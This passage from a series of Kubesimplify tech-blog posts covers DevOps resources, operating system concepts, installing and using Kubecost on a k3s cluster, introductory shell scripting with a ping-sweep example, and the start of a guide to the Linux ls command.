- What if  you could start with minimum planning of the end product, providing the customers quickly with something that works and get feedback, So that you could deliver the product they wanted, instead of what they asked for. **Minimum viable product, TDD and BDD**.

- What if something failed and your customers are denied of service. Wouldn't it be nice to get the things up and running asap ? Let me add, you don't even have to configure things manually, just write a file/package, telling about your application, give it to a software, It will run things for you, anything goes down ? It will automatically recreate it! Your service downtime went from hours to seconds ! You are not loosing customers! **Kubernetes**.

These are not **fairy tales**, all the above things are possible, and successful companies like Netflix, Spotify etc. are using it.

These are few of the points i could think of for now, there is much, much more you can do with modern application developed with DevOps practices. Read the things in this article a few times, you will realize how many problems are being solved with DevOps on a daily basis.

Further down the road, I'll explain What's and How's of DevOps. Till then, I'm providing you with a list of resources, so that you don't have to wait, and you can explore.

- [Saiyam Pathak's YouTube channel](https://www.youtube.com/c/saiyam911), you will find awesome introductory as well as advanced explanation of the DevOps and cloud native tools and concepts. Trust me, he is my favorite instructor so far.

- [Kunal kushwaha's YouTube channel](https://www.youtube.com/c/KunalKushwaha), an awesome place if you are just starting out, this guy is an amazing instructor and provides great learning content.

- [Velocity 09: John Allspaw and Paul Hammond, "10+ Deploys Per day"](https://www.youtube.com/watch?v=LdOe18KhtT4&t=347s)

- [CNCF's kubecon and cloudnative con's videos](https://www.youtube.com/c/cloudnativefdn), this is the most diverse place you'll find. Don't get intimated, start with keynotes, 101s etc. This is the place where you go if you want to know what is going on in the industry. Find more about [CNCF](https://www.cncf.io/), one of the most inclusive communities in the world.

Join awesome communities and ask for guidance, mentorship etc. !
- [Kubesimplify](https://discord.gg/g94aayFS)
- [Community classroom](https://discord.gg/Jd87ZBKz)
- [CNCF slack](https://slack.cncf.io)

This blog has been possible because of awesome resources mentioned below:
-  [Introduction to DevOps on Coursera](https://www.coursera.org/learn/intro-to-devops)
-  [Architecting Cloud Native .NET Applications for Azure e-Book](https://docs.microsoft.com/en-us/dotnet/architecture/cloud-native/)
-  [Cloud Native DevOps with Kubernetes](https://www.amazon.in/Cloud-Native-DevOps-Kubernetes-Arundel/dp/1492040762/ref=sr_1_1?crid=92I9GPPB9TN0&keywords=cloud+native+devops&qid=1654859515&sprefix=cloud+native+devops%2Caps%2C222&sr=8-1)

Go ahead ! Start with your DevOps journey, you'll find me on the way, as I am also a student exploring the domain. All the Best :D

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Important concepts of Operating Systems

- Canonical: https://blog.kubesimplify.com/important-concepts-of-operating-systems
- Published: 2022-06-14

# What is it
The operating system is a set of programs that acts as an interface between a User and Hardware. It is necessary to reduce complexity

## Modes in an OS
1. User mode
2. Supervisor mode (i.e. Kernel-mode)

user applications are provided APIs by the OS to talk with the hardware.

How does the Computer Boots


![boot.png](/img/blog/important-concepts-of-operating-systems/VxyRbtNE3.png align="left")

for example.
How the print statement is evaluated in an Operating System

![01.png](/img/blog/important-concepts-of-operating-systems/UoKfG0J2j.png align="left")

## Components
1. Process management
it manages the processes and their resources
1. File management
it manages the file Read, Write, Execute, Permissions and sharing
1. Memory management
it counts how much is free, makes memory available & deadlock, and memory isolation, mapping
1. I/O management
it handles interrupts, device drivers, bus, buffers, etc


# What is Process 
a process is the instance of a computer program that is being executed by one or many threads.
OS represents each process tracked with PCB (Process Control Block)
* Process ID (**Linux,** it is represented by 16 bits)
* Parent process ID
* Process state
* CPU State
* Scheduling information
* Memory information
* Open file information

## Components

1. OS Resources
it contains the information
* Open file information
* Socket information
* Scheduling algorithm to be used
* PID, etc.

2. Address Space
![addrSpace.png](/img/blog/important-concepts-of-operating-systems/wJNhzC6_U.png align="left")

3. CPU State
all the CPU registers associated with the process
it stores the current state
PC=program Counter
IP=Instruction pointer
SP=stack pointer
it is useful when there is a context switch as the CPU stores the current state of the process into this segment
and after storing it then it switches to the new process

## Creating of New Process
we can use `fork()` to create a child process
it's important to note that when fork() is invoked, the parent process address space is copied to the child process

## Zombie & Orphan Processes
Orphan Process - When the parent process gets completed before the child process then child process control is transferred to the *init* process in Linux kernel and so the child has a parent process ID of 1 or in more recent Linux kernel it is 2 or 3

Zombie Process - When the parent process is busy in some I/O or in a sleeping/suspending state then if the child process gets completed then the parent process does not know about

we can use the wait() in parent block so that parent waits for its child process to get terminated before it gets terminated

## InterProcess Communication(IPC)
Here, we use a pipe structure to communicate between processes
it uses 2 heads a read and write

in Golang, channel is used to communicate in a GoRoutine

# Process scheduling


![process-diagram.png](/img/blog/important-concepts-of-operating-systems/pJKQHFQ-E.png align="left")

the program that takes the responsibility of moving process from one queue to another
## Types
1. Short Term Scheduler - it decides which process moves from Ready queue to running state(CPU), it is called by:-
  * **Interrupt Service Routine**
  * **When a process terminates**
  * **I/O operation is invoked**

2. Long Term Scheduler -  it decides which process moves from Embryo State/Ready_Suspended state to Ready Queue
3. Mid-Term Scheduler - used for swap area. But some don't use as long term can be extended to fit its purpose 

> Context switch - mechanism to change the control of the CPU from one process to another

> Preemptive - control can be transferred to another process even if the process is not completed 

> Non-preemptive - control can be transferred to another process when the process is completed

## Scheduling Algorithms
1. **FCFS (First Come First Serve) [nonpremeptive]**
the process which comes first gets the CPU first (arrival time)

2. **SJF (Shortest Job First) [premptive/nonpremptive]**
it is not practical
scheduler decides according to the remaining burst time required by the process

3. **Priority-based [premptive/nonpremptive]**
each process is given priority
the lower priority process is given the preference
to avoid starvation we can use the aging method where at each clock cycle the priority of processes in queue is reduced

4. **Round Robin [premptive]**
Here there is a fixed Quantum time
it's like a circular queue where each process gets a Qt amount of time, if not completed then it is reinserted at the back
and the process after this is given to the CPU
it has the least waiting time. So used in interactive tasks (UI)

### Hybrid of these are there
5. **Round Robin with priority**
Here it compares the priority of the runnable process with other runnable processes
6. **Multilevel feedback Queue**
ready queue is divided into >= 2 queues
1st queue = Highest Priority (Interactive processes like UI)
latest queue = Lowest priority (Background processes)
and another queue for the (system process)

# Thread
It is a lightweight process
Every thread uses the address space of its parent
it takes significantly less time and resources as compared to creating a new child process
each thread has its own:
* PC (Program Counter)
* CPU state
* Stack (Address space)
the stack is stored in the parent process Heap address space

## Types
* **user thread** - it is in user space and is handled by the programming language
* **kernel thread** - it is in kernel space and is handled by the Operating System
to execute a user thread, it is transferred to kernel threads to execute it

# Process Synchronization / Concurrency
There is a problem when there are > 2 processes; execute simultaneously and using common resources then there are inconsistencies
This is Race Condition

there are 3 steps in each process
```
acuire_lock()
----
Critical section # where all the program logic happens
----
release_lock()
``` 

## Solutions
1. **Software Lock(Peterson's 2 process solution)**
If there are P0 and P1 processes, then P0 gives chance to P1 and vice-versa, thereby maintaining consistency

```cpp
// Process 0
flag[0] = True
turn = 1;

while (flag[1] == True && turn == 1);
```

```cpp
// Process 1
flag[1] = True
turn = 0;

while (flag[0] == True && turn == 0);
```

2. **Semaphores**
Semaphore is a variable along with 2 operators called wait() and signal() to achieve synchronously
 ** Types**
  * *Binary* - only one process at a time can enter the critical section
  * *Counting* - more than one process at a time can enter the critical section
If one or more processes are waiting to get their turn thereby CPU burst time is wasted to check them, so it is a spin lock situation
to overcome, we need the waiting queue
#### Bakery using semaphore
multiple producers can put their item on the rack, and multiple consumers can eat item

```cpp
// Producer
wait(empty)
  wait(mutex)
    insert(rack, p_item)
  signal(mutex)
signal(full)

// Consumer
wait(full)
  wait(mutex)
    remove(rack)
  signal(mutex)
signal(empty)

```

#### Reader & Writer method
When one or more process enters reading mode, then no process can enter write mode in the critical section
and when the write mode process is inside the critical section, no read mode process is allowed to enter
only 1 write mode by N read mode

```cpp
// writer
wait(wr)
  write()
signal(wr)

// reader
wait(mutex)
  count++
  if (count == 1)
    wait(wr)
signal(mutex)

read()

wait(mutex)
  count--
  if (count == 0)
    signal(wr)
signal(mutex)
```

#### Dinning philosopher
```python
# philosophere
think()
# aquire_chopsticks
eat()
# release_chopsticks
```
```cpp
enum STATE{
  HUNGARY, EATING, THINKING
}
semaphore p[5] = {0}
mutex = 1
int state[5]

void philosopherWork(int i) {
  while (1) {
    think(i)
    takeChopsticks(i)
    eat(i)
    releaseChopsticks(i)
  }
}

void takeChopsticks(int i) {
  wait(mutex)
    state[i] = HUNGARY
    test(i)
  signal(mutex)
  signal(p[i])
}
// 4 Philosopheres
void test(int i) {
  if (state[i] == HUNGARY && state[(i+1) % 5] != EATING && state[(i+4) % 5] != EATING) {
    state[i] = EATING
    signal(p[i])
  }
}

void releaseChopsticks(int i) {
  wait(mutex)
    state[i] = THINKING
    test((i+1) % 5)
    test((i+4) % 5)
  signal(mutex)
}
```

3. Monitors
it is a high-level programming language construct to achieve synchronously
***Block***
  * lock
  * shared variable
  * atomic function
  * conditional variables


# Deadlock
a set of processes are said to be in deadlock if every process belongs to this set holds a resource and waiting for another resource that is currently held by another process belongs to this same set

## handling
1. **Deadlock prevention - prior to deadlock**
make anyone of the following truth:
  * no mutual exclusion
  * no hold & wait
  * no preemption
  * no circular wait

2. **Deadlock avoidance - prior to deadlock**
dynamically verify the resource allocation state
using:- Allocated resource count, available resources, need of that process
  * single instance resource - resource allocation graph
  * multiple instance resource - bankers algorithm

3. **Deadlock detection - deadlock occurred**
the system has to know the information to find deadlock like - allocation, request, availability
  * single instance resource - Wait for graph
  * Multiple instance resource - Banker's algorithm

4. **Deadlock recovery - deadlock occurred**
how to resolve it
  * assume that there is no deadlock
  * resource preemption
    * process termination (all or some selected till it is deadlock-free)

# Memory management
functions of it:-
* keep track of free space
* allocation memory to process whenever they need it
* protection of memory of one process from another

creation of executable file
* without linking
* with linking
  * static linking - the library files are added after the linking process
  * dynamic linking - the library files are fetched as needed during execution

> Virtual Memory - it is used to expand the available memory resource than it is. 

## Mapping of instructions
1. **Compile time-binding**
each line mapped to the physical memory
The compiler must know where the space is available 
![compileb.png](/img/blog/important-concepts-of-operating-systems/hEZuNHbN6.png align="left")

2. **Load time-binding**
Base register is provided by the OS and 
Base register + index gives the physical memory
![loadb.png](/img/blog/important-concepts-of-operating-systems/wI1wCnP5Q.png align="left")

3. **Execution time-binding**
during the execution, the instruction can move from one memory location to another

## Types of allocation
> logical address - it is the address generated by the CPU which is the virtual memory location

> page table - it is used for mapping virtual page number <-> physical frame number

> number of bits to represent page number = number of pages; same for the offset where number of lines or size of each page

> each page size == each frame size

* Monoprogramming systems (compile time-binding )
* Multiprogramming 
  * Contiguous
    1. Fixed partitioning
      whole physical memory is divided in fixed-sized chunks. It causes internal fragmentation
    1. Variable partitioning
      Physical memory is not divided, but the program is stored in a continuous memory location of its size. It causes external fragmentation
	  
  * Non-contiguous
  1. **Paging**
      * **Single page table**
	![singleptb.png](/img/blog/important-concepts-of-operating-systems/qM7_UWiUY.png align="left")
	the page table is typically stored in the RAM and most recent in the MMU. TLB (Translation Look-Aside Buffer) act as the fastest cache for page number with corresponding frame number, it reduces the access time. Very fast cache directly on the CPU that caches most recent virtual to physical address translations. Implemented as a fully associative cache
	
	 * **Multiple page table**
![multiptb01.png](/img/blog/important-concepts-of-operating-systems/N2Rk2c-Ab.png align="left")
![multiptb02.png](/img/blog/important-concepts-of-operating-systems/zn2V8_W65.png align="left")

   2. **Segmentation with paging**
    as the process address block is segmented into 4 segments and each segment is divided into pages and each page into lines
d is decomposed into p and d'
    
![seg01.png](/img/blog/important-concepts-of-operating-systems/wULFiuQjo.png align="left")

## additional bits of Page table
* valid bit
1 -> valid if the program uses the page, otherwise 0

* protection bit
read, write, execute
code segment must be read, execute
data segment must be read, write
* Reference bit
whether this page is currently accessed in CPU or not 
even reading or writing is known here as refereed
* dirty bit
if that page is modified in the ram but not written back to the virtual memory, then dirty bit is set to 1
so when the page has to be removed from the ram then:
if the dirty bit == 1 then
  it is saved to the swap area
else
  it is saved to the hard drive

## Replacement algorithm
it happens in demand paging
when during the segmentation paging the page is not present in the ram then "PAGE FAULT" exception is thrown
OS handles the exception by bringing that page from the disk/swap -> RAM

1. FIFO - the first one in has to be replaced
2. optimal - in the near future, whichever page is not going to be used
3. LRU - replace with the page which has not been used recently
4. Approx LRU
  * uses the reference bit. If reference bit = 0 then replace it; otherwise not
	1. Additional reference bit algorithm
	2. Second chance algorithm
	3. Counting algorithm

# IO
## Disk

![disk.png](/img/blog/important-concepts-of-operating-systems/LM2BrUdSf.png align="left")
1. sector/block - A sector is the basic unit of data storage on a hard disk
2. Head - this is the surface of the platter in a disk, there are 2 surfaces
3. track - a combination of sectors, creating a ring
4. cylinder - all the tracks under the head at a given point on all surface

## Scheduling in Disk
Disk Latency = Seek Time + Rotation Time + Transfer Time
the goal is to Reduce seek time
Scheduling technique:
1. FCFS
the first request is served
2. SSTF
the least movement of the disk arm from its current position
3. SCAN
start scanning in the same direction till 0 and then scan in the reverse direction
5. LOOK
like scan, but does not go to the extreme ends.
4. C-SCAN
similar to SCAN but moves in one direction L->R or R->L

6. C-LOOK
similar to LOOK but moves in one direction L->R or R->L

## How files are stored (Linux File System) 
it uses Inode
where single Indirect, double Indirect, triple Indirect is by multi-level indexing
```Cpp
// just to give an ideal
struct prem {
  int read, write, exec;
};

struct file {
  struct prem mode;
  String owner;
  time timestamps;
  int block_size;
  int count;
  struct fs *directBlock;
  struct fs_1 *singleIndirect;
  struct fs_2 *doubleIndirect;
  struct fs_3 *tripleIndirect;
};

struct fs {};
struct fs_1 {
  struct fs **data; // array of pointers for the implementation of m binary tree
};
struct fs_2 {
  struct fs_1 **data; // array of pointers
};
struct fs_3 {
  struct fs_2 **data; // array of pointers
};
```

now the directory structure is an acyclic graph
* 2 or more directory entries can point to the same file or subdirectory
* can create links (symbolic & hard)

## Hard Link
gives different names to the existing file that all refer to the same content

**cons**
cannot link across file systems

## Soft Link
a symbolic link is a file that contains the name of another file or directory
OS searches the Inode of the original file based on the file name

**cons**
deletion or moving the file causes the links to break


## Components
* I/O device
* I/O controller - the interface between the I/O devices and the internal system components; CPU, memory, etc
* I/O bus

The CPU interacts with the I/O controller through a set of interface registers called the I/O port.
I/O port
consists of four registers, called the *status, control, data-in, and data-out registers*.
* **Control register** - The control register can be used to give the command.
* **Status Register** - whether the current command has been completed or not, whether a byte is available to be read or not, Indication of device error.
* **Data-in register** - read by the host to get input.
* **Data-out register** - written by the host to send output.

**DMA (Direct Memory Access)** - DMA module controls the exchange of data between the main memory and an I/O module. It helps in reducing the CPU time by allowing the CPU to execute other processes while it transfers data across I/O devices

Device Driver - it is usually part of the OS kernel that contains the device-specific code to control an I/O device, which device manufacturer usually writes

# Buffers
Buffer is used to speeding up the process because the I/O was significantly slower than the CPU, so the CPU had to wait.
* Single buffer
* Double Buffer
* circular buffer

# Protections & security
Protection happens inside a computer, whereas Security considers external threats.
## Components involved in protection

* Subjects
  * user, process, procedure, etc.
* Objects
  * files, printer, Disk writer, etc.
* Operations
  * read, write, etc.

Reference monitor validates access to objects by authorized subjects

Protection domain
* user
* supervisor

access matrix is used, it is a set of operations that a process executing in domain(i) can perform on Object(i)

# Conclusion
Hope this blog gives you the basic overall idea of the Operating System
Happy learning 📖

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](https://kubesimplify.com/discord) server to learn with us.

---

# Avoid Overspending With Kubecost

- Canonical: https://blog.kubesimplify.com/avoid-overspending-with-kubecost
- Published: 2022-06-12

### Introduction

We all have heard on the internet, unfortunate stories about the people who have left their instances as it as after using and at the time of monthly bill they were more than shocked. They have never anticipated the bill that they get at the end of the month. 


![hellocloud.png](/img/blog/avoid-overspending-with-kubecost/jjjrwkN9a.png align="left")

Image credits - [this twitter post](https://twitter.com/varunkrish/status/1508829786663440384)

*The above image is not intended to make fun of any company or individual. Don't take it seriously*


The image above is in the context of Linux Instances, but this is true in the context of spinning up Kubernetes cluster as well. 
Earlier, the major cloud providers were not letting you in advance the rough estimate of your cost. I have even heard people on the internet saying that the whole system was designed in such a manner that they can get the maximum money out of your pocket. Also, It is not a good idea to use something or buy something without knowing the cost in prior. 

Now coming to kubecost, I am sure that after hearing about all the tools around Kubernetes you must have guesses it right. The name itself starts with `kube` so it's obvious that this is somehow related to Kubernetes. The `cost` word is somewhat related to your cloud bills in this context. I think you have got the intuitive idea of what kubecost is? Now, let's discuss about the problem that was there and how kubecost is solving the problem? 

### What was the problem? 
When you move to Kubernetes, then you have no idea about the cost. Earlier You had no idea where you're spending, then there is no question about optimizing your cost. 
You do not have any idea which namespace is costing you the most? Or which pod or deployment is costing you the most? You need to visualize your spending precisely if you want to save the cost or use the underlying resources effectively. 

### How kubecost is trying to solve the cost problem?
- Kubecost brings **cost monitoring** and **cost optimization** solutions for teams that are running applications on top of kubernetes.
- Kubecost is trying to optimize your Kubernetes cost so that you can save your cloud bills with optimizations and efficiency of your Kubernetes resources.

### Architecture of Kubecost

kubecost pod ingests data from the kubernetes API and billing data sets from the respective cloud provider and then it exposes those metrics (like the cost of a node, cost of a loadbalancer etc.) and then prometheus scrapes those metrics. 

Kubecost pod also get the metrics from kube-state-metrics, node exporter, cadvisor and network-metric from the Linux kernel. 

cadvisor exposes metrics from the core of the kubelet. It runs as the process  inside the kubelet. cadvisor exposes the utilization metrics like memory consumption by individual container, cpu shared by individual container. This is responsible for sharing the usage metrics

![kubecost2.png](/img/blog/avoid-overspending-with-kubecost/QT-a4x-QT.png align="left")

### Lab Section
- I will be spinning up a Linux instance, and then I will be creating a k3s cluster on top of that. 
- One thing to notice here is that if you're using k3s and trying out the standard helm installation, then that will not work. 
- You need to run `export KUBECONFIG=~/etc/rancher/k3s/k3s.yaml`


### Installing Kubecost 
- I will follow the standard helm installation. 
```
helm repo add kubecost https://kubecost.github.io/cost-analyzer/
helm upgrade --install kubecost kubecost/cost-analyzer --namespace kubecost --create-namespace
```
- After installation, you should see something like this.

![Screenshot from 2022-06-11 18-51-14.png](/img/blog/avoid-overspending-with-kubecost/w_pq2M0So.png align="left")

- We will port-forward the deployment to our local system
```
kubectl port-forward -n kubecost deployment/kubecost-cost-analyzer 9090 &
```
- Go to your browser and type `localhost:9090` 
- This is the first screen that you will see. 
![Screenshot from 2022-06-11 20-43-21.png](/img/blog/avoid-overspending-with-kubecost/pfV5xHsUK.png align="left")
- You can add multiple context here, but In this case I will stick to one. 

### Navigating Kubecost

![Screenshot from 2022-06-11 20-07-44.png](/img/blog/avoid-overspending-with-kubecost/qEn7mk3vw.png align="left")

- You can see the detailed visualiztion on the cost allocation page, and you can filter relevant information according to your will.


![Screenshot from 2022-06-12 17-19-17.png](Upload failed. Please re-upload the image align="left")

- You can visualize the health status of your Kubernetes workload. 


![kubehealth.gif](/img/blog/avoid-overspending-with-kubecost/Cs3RtFXep.gif align="left")

- If you want, then you can visualize the same data with Grafana dashboard. Click on savings and select the section you want to visualize. 


![kubecost-grafan.png](/img/blog/avoid-overspending-with-kubecost/QQcZ0rj71.png align="left")

- You will see a Grafana dashboard link, and clicking on that will open a Grafana dashboard in a new tab. 

![Screenshot from 2022-06-12 16-53-32.png](/img/blog/avoid-overspending-with-kubecost/XCVKs3tV4.png align="left")

You can also set pricing data that is specific to your account, and kubecost will generate the billing data specifically for you. By default, kubecost measures your expenses based on the pricing of the cloud providers pricing which is available in the public, but it also gives you the flexibility to overwrite this with your own custom pricing. To configure, we need to go to the settings page and put the prices and kubecost will do the work. 


![Screenshot from 2022-06-12 15-15-00.png](/img/blog/avoid-overspending-with-kubecost/fAr7flbXs.png align="left")

- You can also set out the alerts as well, which I have not explored in this article. 

### Working with kubecost CLI 
- kubecost also provides CLI that extends with the kubectl that we use to interact with kubernetes. You can read more about the extension of kubectl via plugins [here](https://kubernetes.io/docs/tasks/extend-kubectl/kubectl-plugins/)
- With the kubecost CLI, you can analyze and have a look at all the cost right from your terminal. It goes without saying that for the functioning of the CLI, all the deployments should be running in the kubecost namespace, If not then troubleshoot it.

- Make sure that the binary is located at the `/usr/local/bin` directory. 

- We will be creating a binary from the source. Make sure you have go installed on your system if you're following this, if not then use the method described [here](https://github.com/kubecost/kubectl-cost/blob/main/DEVELOPMENT.md). If you don't have go installed, checkout the installation instruction [here](https://go.dev/doc/install)
- Go to the GitHub page of [kubectl-cost](https://github.com/kubecost/kubectl-cost) and clone that in your local system. 
```
cd kubectl-cost/cmd/kubectl-cost
go build .
sudo mv kubectl-cost /usr/local/bin
```
- I discovered `go build -o /usr/local/bin` will be more straight forward. Mentioning here so that I don't forget it in future. 


The first command that you're probably going to run is `kubectl cost -h`. This will give you a comprehensive view of all the things you can do with the CLI along with examples. 


![yecost.gif](/img/blog/avoid-overspending-with-kubecost/Wgp8oWtCx.gif align="left")

With the kubecost CLI you can filter out the cost on the basis of many kubernetes resources. 

### TUI (terminal user interface)
One of the things I loved about kubecost is it's TUI. If you have used k9s before, then this section will be similar to that. With TUI you can visualize everything in the terminal itself. 
To run the TUI execute the command `kubectl cost tui` 


![yummy.gif](/img/blog/avoid-overspending-with-kubecost/xtxujfxfF.gif align="left")

If you notice, then we can see that we can get very granular cost details according to CPU, memory, GPU etc. We can also aggregate the data w.r.t deployment, pod etc. We can query the on the basis of time series like 1 day, 7 day etc. 

- One another thing that's really cool about the kubecost is that it can monitor you in cluster as well as resources out of your cluster like storage and load balancers. 

### Opencost 

Very recently the team behind kubecost along with collaboration from other companies have started a new community driven project which will bring standardization in the context of Kubernetes cost. 
Opencost aims to bring standardization in context of kubernetes cost. If you are familiar with other projects like open telemetry, then you would know how much benefit standardization brings to the table. 
Again, this is a very good community project, and it is in the CNCF sandbox [project](https://www.opencost.io/blog/introducing-opencost#our-vision-for-opencost) queue as of now. By joining CNCF, opencost will continue to drive the open innovation from the CNCF community. 


You can read more about the announcements [here](https://www.opencost.io/blog/introducing-opencost)


### Reference 
- [Kubecost documentation](https://docs.kubecost.com)
- [Saiyam stream with Webb Brown](https://youtu.be/tiTM5aw4AIM)
- [Kunal stream on kubecost](https://youtu.be/GYgFWJmnpHk)

I will update this blog as I explore the kubecost project in more detail. Thank you for reading. If you have any suggestions regarding the blog or there is some scope for improvement, then please reach out to me. 

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](https://kubesimplify.com/discord) server to learn with us.

---

# What is Shell Scripting?

- Canonical: https://blog.kubesimplify.com/what-is-shell-scripting
- Published: 2022-06-10

# Introduction
 In this post will give you an overview of shell programming and provide an understanding of some standard shell programs.  This includes shells such as the Bourne Again Shell (bash). Shell scripting is a part of the Unix operating system so before that, you should have some basic knowledge regarding Unix but if you don't, we have covered some basic commands which are required 

**Now let's begin **
# **First, let us understand what is shell **
A shell is a special user program which provide an interface to a user to use operating system services. The shell accepts human-readable commands from the user and convert them into something which the kernel can understand. 

![shell.png](/img/blog/what-is-shell-scripting/xFdaJc7yK.png align="left")

# To begin with some scripting, we should know some common basic command line essentials
**command line essentials**

```
cd  
> change directory command. It is used to change current working directory.
```
```
pwd
> The pwd Linux command prints the current working directory path, starting from the root ( / ).
```
```
ls
> The ls command is used to list files or directories in Linux and other Unix-based operating systems.
```
```
cp
> cp stands for copy. This command is used to copy files or group of files or directory
```
```
mv
> mv is a Unix command that moves one or more files or directories from one place to another.
```
```
rm
> rm stands for remove here. rm command is used to remove objects such as files, directories, symbolic links and so on from the file system
```
```
echo
> echo command in linux is used to display line of text/string that are passed as an argument .
```
```
cat
> cat command allows us to create single or multiple files, view content of a file, concatenate files and redirect output in terminal or files
```
```
less
> Linux utility that can be used to read the contents of a text file one page(one screen) at a time.
```
```
grep
> The grep command can search for a string in groups of files.
```
```
mkdir
> allows users to create or make new directories.
```
```
touch
> Touch is a popular command in the Linux system that can be used for performing many tasks, rather than just creating an empty file.
```
```
chmod
> chmod command is used to change the access permissions of files and directories
 ```

# what is shell script?
The basic concept of a shell script is a list of commands which are listed in the order of execution. A good shell script have comments preceded by #sign, describing the steps

**This is how a sample shell script looks like**
```
#!/bin/sh
#first script
echo"what is your name?"
read PERSON
echo "hello , $PERSON"
```
Every script starts with a **#!/bin/sh ** it is nothing but a absolute path to the interpreter of your shell

# Getting started with the scripting language 
Every Scripting  language  has variables, so let's cover Variables first.

##  Variables
### what is a variable ?
A variable is a character string to which we assign a value. The value assigned could be a number, text, filename, device or any other type of data

### variable types
**A] local varaible**
A local varaible is a variable that is present within the current instance of the shell, It is not avilabe to programs that are started by the shell they are set atrhe command prompt

**B] Environment variable**
An environment variable is avilable to any child process of the shell. some programs need environment variables in order to function correctly 

**C] Shell varaible**
a shell variable is a special variable that is set by the shell and is required by the shell in order to function correctly some of these variables are environment variables whereas others are local variables
 
**defining a variable**
variable_name="variable_value"(no spaces)
```
#!/bin/sh
NAME="KUBESIMPLYFY"
echo $NAME
```
> Note for calling a variable we should use a $ sign as seen above


**Special variables**
These variables are reserved for specific functions
The following table shows a number of special variables that you can use in your shell scripts −

![svar.png](/img/blog/what-is-shell-scripting/1Kw7eeD5a.png align="left")

Following script uses various special variables related to the command line −
```
#!/bin/sh

echo "File Name: $0"
echo "First Parameter : $1"
echo "Second Parameter : $2"
echo "Quoted Values: $@"
echo "Quoted Values: $*"
echo "Total Number of Parameters : $#"
```
There are various operators supported by Bourne shell 
## Operators
  **Arithmetic operators
**
![a_operator.png](/img/blog/what-is-shell-scripting/_XG1WevsJ.png align="left")

Bourne shell didn't originally have any mechanism to perform simple arithmetic operations, but it uses external programs, either awk or expr.

  **Realtional operators**

![relation_oper.png](/img/blog/what-is-shell-scripting/jv4RJxvXq.png align="left")
** boolean operators
**
![bool_opera.png](/img/blog/what-is-shell-scripting/Z-SKJkYDT.png align="left")
** String operators**

![string_opera.png](/img/blog/what-is-shell-scripting/yfF7o59zk.png align="left")
  **file test operators**

![file_operator.png](/img/blog/what-is-shell-scripting/pHtsA6Hku.png align="left")




 A loop is a powerful programming tool that enables you to execute a set of commands repeatedly
## shell loops
1. The While Loop
2. The For Loop
3. The Until Loop
4. Nested Loops
5. Loop control

Example:
```
#!/bin/sh

a=0
while [ "$a" -lt 10 ]    # this is loop1
do
   b="$a"
   while [ "$b" -ge 0 ]  # this is loop2
   do
      echo -n "$b "
      b=`expr $b - 1`
   done
   echo
   a=`expr $a + 1`
done
```

Functions enable you to break down the overall functionality of a script into smaller, logical subsections, which can then be called upon to perform their individual tasks when needed.

## Shell functions
**creating function**
```
#!/bin/sh

# Define your function here
Hello () {
   echo "Hello World"
}

# Invoke your function
Hello
```
**assing parameter to function**
```
#!/bin/sh

# Define your function here
Hello () {
   echo "Hello World $1 $2"
}

# Invoke your function
Hello Kube Simplyfy
```
returning values from func
```
#!/bin/sh

# Define your function here
Hello () {
   echo "Hello World $1 $2"
   return 10
}

# Invoke your function
Hello Kube simplyfy

# Capture value returnd by last command
ret=$?

echo "Return value is $ret"
```
**Nested functions**
```
#!/bin/sh

# Calling one function from another
number_one () {
   echo "This is the first function speaking..."
   number_two
}

number_two () {
   echo "This is now the second function speaking..."
}

# Calling function one.
number_one
```
# use case
**Task Automation**
The first advantage of using shell scripts is automating frequently executed tasks.

 **Combining Multiple Commands**
In addition to automating frequent tasks, you might also find it advantageous that you can combine multiple sequences of commands into a single command.

 **Transparency**
A shell script, by virtue of being a text file, can easily be viewed to check out what actions it is performing.

**Example**
To scan and Monitor networks using combination of shell script and ping command
```
#!/bin/bash

is_alive_ping()
{
ping -c 1 $1 > /dev/null

[ $? -eq 0 ] && echo Node with IP: $i is up.

}

for i in 10.1.1.{1..255}
do
is_alive_ping $i & disown

done
```
Execute:
```
./bash_ping_scan.sh
```
# Conclusion
Now we have understood the concept of Shell scripting and how it is used along with its working, I hope you have gotten the knowledge behind it and how you can use it. The next task for you is to practice and explore all the uses that can make your work easy with the help of scripting. 

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Everything you need to know about the Linux 'ls' command.

- Canonical: https://blog.kubesimplify.com/everything-you-need-to-know-about-the-linux-ls-command
- Published: 2022-06-09
- Summary: The ls command is one of the most commonly used Linux commands for listing available files or directories from the command line.

The ls command is one of the most commonly used Linux commands for listing available files or directories from the command line.

In this article, we'll go over the ls command in depth, as well as some of the most important flags you'll need on a daily basis.

## Basic listing 
In its most basic form, the ls command displays the files and directories in your current directory.

![ls.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/w2QFYWIts.png align="left")

Notice that the ls command displays its output in alphabetical order. If you're using a color-enabled terminal emulator, the ls listing will display different types of entries in different colors.

If you don't have a terminal emulator that supports colors, you can use the `-F` parameter with the ls command to easily distinguish between directories and files. The `-F` parameter flags a folder with a forward slash (/) and an executable with an asterisk (*), as you can clearly see below.


![ls -f.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/btFm8YnhV.png align="left")

## Display hidden files
Linux often use hidden files to store some configuration information. Hidden files in Linux are those with filenames that begin with a period (.). These files don't appear in the default ls listing , thus called hidden files. The `-a` parameter with the ls command is used to display hidden files alongside normal folders and files.

![ls -a.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/VXvlS0NDf.png align="left")

## List files recursively
Another option we can use with the `ls` command is the recursion parameter `-R`. It  displays files contained within subdirectories in the current directory. When you have a lot of subdirectories, the list can get quite long. 

Here's an illustration of what the `-R` parameter can show.




Notice that the `-R` parameter shows the contents of the current directory `sources` as shown above. It also shows each subdirectory in the `sources` directory, which are `btop`, `zoom`, etc., and their contents. 

![ls -r.png](/img/blog/everything-you-need-to-know-about-the-linux-ls-command/fW2B9jJfm.png align="left")

## Display Long Listing

